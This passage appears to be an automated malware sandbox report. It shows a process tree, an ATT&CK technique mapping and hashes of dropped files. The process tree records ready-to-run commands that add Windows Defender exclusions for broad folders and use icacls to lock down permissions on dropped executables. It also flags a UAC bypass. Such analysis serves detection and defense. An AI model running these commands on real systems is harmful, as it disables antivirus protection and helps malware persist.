    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\sbCbPi.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4320
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\sbCbPi.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4448
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\sbCbPi.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1872
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\sbCbPi.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3360
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5184
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3676
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3248
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4420
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1968
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4236
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5640
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2824
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4560
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5396
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5872
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:212
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4780
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4760
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:6136
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3400
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\sbCbPi\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3980
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\sbCbPi\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2652

C:\Users\Public\Nynxdy\o05w8Z.exe
"C:\Users\Public\Nynxdy\o05w8Z.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2776

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Nynxdy" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5964
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Nynxdy" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:432

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5456

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5820
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5920

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5704
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:464

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3504
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3676

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2260

C:\Program Files (x86)\sbCbPi\sbCbPi.exe
"C:\Program Files (x86)\sbCbPi\sbCbPi.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4472

C:\Program Files (x86)\MUOCKNG12\lpEDjygA.exe
"C:\Program Files (x86)\MUOCKNG12\lpEDjygA.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3956

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\sbCbPi" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5424
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\sbCbPi" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3940

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2680
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1972

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5908
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1356

C:\ProgramData\HB6rIfmK.exe
C:\ProgramData\HB6rIfmK.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4660

C:\ProgramData\3YLUasBo\GrOcS3OF.exe
C:\ProgramData\3YLUasBo\GrOcS3OF.exe
1⤵
- UAC bypass
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:3908

C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe
C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe 1776
1⤵
- Executes dropped EXE
PID:3304

C:\Program Files (x86)\MUOCKNG12\lpEDjygA.exe
"C:\Program Files (x86)\MUOCKNG12\lpEDjygA.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5804

C:\Program Files (x86)\sbCbPi\sbCbPi.exe
"C:\Program Files (x86)\sbCbPi\sbCbPi.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2424

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\MUOCKNG12\XPSPLOG.dll
Size 4.6MB
SHA256 9c96e59103d2d08c487922dcbfa2a776dfa0f250ccd1e1452873ae3d37db7fa1
MD5 6361f07a85a6cbf6e82ac62765a24e9a
SHA1 110df5514de00608d781128ad1d81ee5a923dad0
SHA512 86a31e34c2917278b3875215461c11c1a20f21527ce4f04603e84f9cf750afa5190a9317bd32d03d4ac14dcbd227bd3cbce52d1dc44a3b3ff827dc00ccefbf4f
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyg:BMWKfU+BcUTHCCCfqCiUffng
TLSH
T137263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\MUOCKNG12\image.png
Size 4.8MB
SHA256 eb9d251bfa118afebc5ea5ee2ffbeec434da28c88d3fd496fed661d2f4a07e5b
MD5 e5ced51b084092714aeb05aa0caacc6a
SHA1 ddad33ec98574372da55b7392986f51b6bb830c9
SHA512 796ea9cfeea0abc0999b6894035e18383e4f437bf4df621790a922b162f77838425bdb657a279ba3f92056307551191519d25d53830ab96caff452b1feb5ffb8
SSDEEP 98304:m/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:mMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T18036334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D70B3293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\sbCbPi\XPSPLOG.dll
Size 4.6MB
SHA256 579c6e93e354ddda3ec9f0d7e93827570790df10cf52a38faed7d25b615bce59
MD5 deed31644853c8ff20aea03e63864307
SHA1 464c49d19e5b41b71956c33052a50e59df498088
SHA512 4c7a875370b1ce1f289f736a01d7d4cab94a292d2cd706f6e7f24761d09d15f4f90f05cdfbaf8667659c98178a2f09810acb0b739c1e5c5d349633fe04b925e5
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyB:BMWKfU+BcUTHCCCfqCiUffnB
TLSH
T10F263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\sbCbPi\image.png
Size 4.8MB
SHA256 9da2a919e64d4aa0cf62e3d3dc5d11925241bf3bdbc81f3d6b3b18cd9f896cad
MD5 78265e3ab7e40c9df2b84af51bccac8a
SHA1 712ce09f0abdf27fca38eb525c550e6bdf899436
SHA512 2ec9c45fab985bfe1c58d4837f32179ba51672e34b34e6d7f18dbb97d46cbc69b337e121f26406a1adaf2c613a34d92c88a5e39a2bee0c909b72d931b69c64b7
SSDEEP 98304:t/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:tMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T15436334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sbCbPi.exe

Path C:\Program Files (x86)\sbCbPi\sbCbPi.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\sbCbPi\thumbs.db
Size 358KB
SHA256 32fbc0f137e00a825a66b6b218eacfc67ebaf68f89f9db1dbb6b87e51d13cc6c
MD5 422f438f54766dc2181f0641118bd6c0
SHA1 b865a6bcc811befad6732fdcba24cc1138d18f8d
SHA512 14b3f51634ea35822e8a2a0d1b20af17bdc2b94699fab8f894cb540e768ee2a639dddfdc9d34cfef47af5330f33e69563ac44a79a4da1ac7717f9df779aacdbf
SSDEEP 6144:siACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:L8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1D574F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.dat

Path C:\ProgramData\3YLUasBo\GrOcS3OF.dat
Size 56KB
SHA256 2b755df5e49a9313a71fa0e005ee75fe906db4112ea1da7378bb0e774b7b5ccb
MD5 79ea532f36f5ce21fd21c7d875fa246c
SHA1 3a2683654a9137888c7d1500e1ee9248a09f1b8c
SHA512 275b8617e7de6503431ff3f3c2269ae4d3f414be2f252e37093e32a940351bf96cd94ef3c0bba962821f4c52d83ca199923b077bdefba576c03acb6d712a3735
SSDEEP 1536:LA5UOqaSzVJk7yHWGLvQL2NjQhzehEZSVsKJY0:LsUL1PSkbvG2pkze2GY0
TLSH
T1F243020AD5F17B3ACA06177ACD5CA50150EF4AFD88235CB38590F2764EE308F9D1B619
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.exe

Path C:\ProgramData\3YLUasBo\GrOcS3OF.exe
Size 475KB
SHA256 575bc8fa0cff7bc1d76149a07e92ae64242075f0fb60fdbd7217768e7a65815c
MD5 e434f70d17be203a1a47123500a8fac1
SHA1 75bb9cd656c87dc546241fccf5c0f3d9a62bb781
SHA512 ca200d29ba5dcc17f72590ec3718017a903052775cec5e7c8c8a7e19f4c3851e147d472e7387a917c725af0fd626fc444b490d4fa64b196bee13fedc385e25b4
SSDEEP 12288:gNrhTLpMP+R+QDCfA832AtBYmz6af0F7Z1QVjSOsJ/3:gthTiP+ffCfB5Lf0F7Z1EDsV3
TLSH
T153A42322B76BD826EB0E083542A5DF7D497ABD02F889834301B97F5F7D363905D1DA09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GrOcS3OF.png

Path C:\ProgramData\3YLUasBo\GrOcS3OF.png
Size 167KB
SHA256 d2aedefb6bde2a3d8828a9c8ee431e4b8dad21d532ef63c89e5fe200defba3fe
MD5 e67ffb05e0f933f6d047061757d0a450
SHA1 f2e13895848f06e6a7e727b228cda453f3b1aefe
SHA512 5450f528f1a2f2dd92d8d114648b50f2f493a46de268b1eda927463338168e214b1d7fe98bfb61f1636baad14a5ad24d05b0460ac6046d55a474cca4978bd241
SSDEEP 3072:nxvH+eTJ02Y6X2jdKEKRoHUMaDQptDljwIjDdj7YoILts74x0BI+1pB:BH+KKo4dNK2d2kdXYon74mBV1X
TLSH
T1A3F3120CD00236B72EE84895B2AB3D5494DCC4A51E22974E790B3B9F5C933E949A7F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HB6rIfmK.exe

Path C:\ProgramData\HB6rIfmK.exe
Size 2.5MB
SHA256 cbf24944bf6381b263fd3c4ffd861a0ec22e5ac757837bf620381dafeb41f46d
MD5 9d081bd835de1f1d3382e122d458afdf
SHA1 317f6e4b081e3854082429b818a44b36437c526d
SHA512 2817a91db659021bba215f9e1ec0d7d54c50fb854efad1efa2d63c51fb79039611243f2ba60c507f653927b6a9e009b237131eb1323e176b6d4e77ba64786026
SSDEEP 49152:sSX2vsEpkYfjcXP+D+3TGcGvntClmwvoj+4mWthy21RL7iEJBC:Pm0+0PjTVGvEvvojLSSviYBC
TLSH
T181C523126DDA81E5D5820B30D71FA7C732F09594CAB08C34EFC179887472F67A27ADA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yHDc9ZDz.exe

Path C:\ProgramData\ZlLbRw0o\yHDc9ZDz.exe
Size 663KB
SHA256 d3ccfd057be61c7a1bb1a881efe33b6cf659404ac780e27dbc798b3d9b411f4f
MD5 a5e4db08eb30910d712c444ddba046fe
SHA1 ca8c04794094c7d2dabe5d32dd09beab2efe125b
SHA512 472801c7f9319c71b811978e122be22c341095a88a9aa5197e43f4b007c85a1fca020d8e36f4f3a686475fd4888452a5e588880a05a02b64413636047d6a4eb8
SSDEEP 12288:hHDFGZnF/eud8ic+Y3ngyujLF/nWRZ8iR4+y3dnpkoBLR0eo2/k5bx9LhlOFqgb6:hpYF/e5icRQjV3pRR2AobllR
TLSH
T123E423C99C65B095C0A009FABC118D2BE50E5174209EFA34C7629BAA7FF93F11EF650D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 c38f237b75a04538d9af6e2982a25f5b21155a7a05387cd128ecdb7b444f1a0c
MD5 f0df82c8507a0742827dc66ebd1ee9c3
SHA1 29b6f90408275e1e1b823d15c6307161816d7017
SHA512 0a0d81a6fb0c9696b295a299c91337ec12166f2fdaf2ba10f996a34b888bdde77e2d2e847afdcd19e6e3e03721802e318a4b5b898ecf47ca079de242178a39b4
TLSH
T14B21C69F5BB229D0BF803D4636CDCA367DE3B695187D008A6339DC8916003A17B9760A
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 38ce43377b2484f27dfba067373aeaf38cbaf0b551800bab7de6324afc408ed0
MD5 8faaa9fa0fc47733c263d07046b756bc
SHA1 4dc4e6bae0ea60a8b588e21c33b463f7fd3db488
SHA512 4214980d64f6b1ece93e0e65f091e996ebef6281d8ba569cf5484e4a96c9e72ce62f08b9fa71103fe39be6f61e7f9242613eadcae23dc0ce7a50f76e19fcc08c
TLSH
T17A21B9C743B62853E741DD0814C0EF372CF9B6835999110AB00BD2A72A013F3BA0DA2E
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 1KB
SHA256 dcdb4949585539557a9b135dfc2e613cae7405bc4ec06441a20a17a729b4bc07
MD5 d31d06729650a465670c64612b4f13ae
SHA1 d0bdbf62a8ecd944ee76ee6df8e488b91987a439
SHA512 3c4ad9903a4780bbd696e326da86a0e42f1e2401e6274568be666109ddea5dff9a88634ac40ac9d05233005141ae29269c1479a8acc822527f5655c8e1195701
TLSH
T1F921E6C748EC19C51F84DDDA0C9ACBB33D34E4CB88A87151246BA09CF8083D36F0C19A
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 a47f44a956e677c3eeab8d51de30dcdf84e0ff988a869fb11b96aa9bc341d96d
MD5 2b06e4667e44f0872f8fb5237f7a5258
SHA1 3ddd9c420648bf24a3de2fd2d4df50f475ccb887
SHA512 907b180dc1465d0885a80311769df276c4d8bf1b55aede609e298f218510852f5164a5b00653b0965482ff92ec926f921f4cad9c93d558fab2b5500190d5a533
TLSH
T112F05C3C58FD031EF031CB3A1BCD6A524937E61568192AE527F04B0CBA12B067E5257D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 4a524e3ef6c4990d3d6b1dff5bc11c18c7744b9acac731c7f2d746b408bd759b
MD5 3a2e0474c086fb569367e0e289a624ce
SHA1 1354ce555d16d08a9feafbecab6f009a4bd7a44b
SHA512 a9bf4cbbeb7b3a95718688c639dc7d9dce7da64fb0f6c71ddaeb1bc740c1aaf8b24fa055e9777dc608fa48a00a70bd980d66ac1f1e7e6494e2e1691a46fa239b
TLSH
T1D9F0DC2096F49219F136CA7891F532F166A77A13380016FF089903482B02A411C45178
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 540B
SHA256 8ecba8246610997680d0a38202ed7777270dd47c2f79aa980c88ee386a1bb263
MD5 6092b181576187269ece08cac529ceba
SHA1 4f6c0e0683cd1a436a1f06b90307335603b57068
SHA512 2072f644b0d7ab3fa88f04a177b2e14187cde75c48521b5b0692e82659d2d630d31f9775053fb4df8af4a87e1e39f953d6848f82114f7fe35889dd0439425d73
TLSH
T10CF09E2815FA805EF177D8740BD162B54967F601B801419C0EE543187D19F00BCD1B29
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_fv3bymue.t3u.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fv3bymue.t3u.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\Nynxdy\UxEnhance64.dll
Size 3.1MB
SHA256 c0d4fba58bee72e379ddcbbd592aa9a6601814b0ba0956f41fbec01d06cdc2ee
MD5 0907b0dca5eb3a77ffd8e4e3d6621f67
SHA1 4486b32fa85daa7ae41006621e011e0ddc68df3f
SHA512 c0a19e17b38d6fac14101eb86b5885a378c6d9c46c0cc3293e1a878647c211486cf84f5b3b432281c0e3d75b6f7150b85ceed5549633996f2e0e05ec37a6e78e
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+n:P9m29xx3Tiqt06ox6+z2rNNrKon
TLSH
T195E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\Nynxdy\adoresd.dat
Size 4.7MB
SHA256 6a1938c25d67ef94d2a34d9f3d79a6d87d9c7a25d207c10d97a42da7b20aac4f
MD5 381e13d7d70b247ad75d9a6058dd1d12
SHA1 47327030b03132c6b34caf5ac1b217a4ab419b89
SHA512 8c2d116e4f6e99bda8f5c6ff3d6ddaecf4d35b7b797f72fa3380d78740c2660dac8ec30ffcb6a142cc1c505bca040b49129387c2090a11695df3e4ddc03667c8
SSDEEP 98304:ZKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:ZKClqhi0Cv54K2IVS0VQg
TLSH
T19C3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\Nynxdy\msadox.tb
Size 8KB
SHA256 60308a9f9d5e1f68c93dae057ce24169168e71a28e71f478278c3dc265d324e0
MD5 b63aed8976e4cb5ba37b4d2ea54d0de0
SHA1 9a81151ea9fb6ea5eaa1e830c73d990191a52146
SHA512 7ab9bfbcf3de66eedc291ba0e7f81cf02cb2577453403ab6192811eea4fda4e1d351eac446ab6bfbd8608267df3a21d01dadf75274a1975bbd6e4ae424fb9bbe
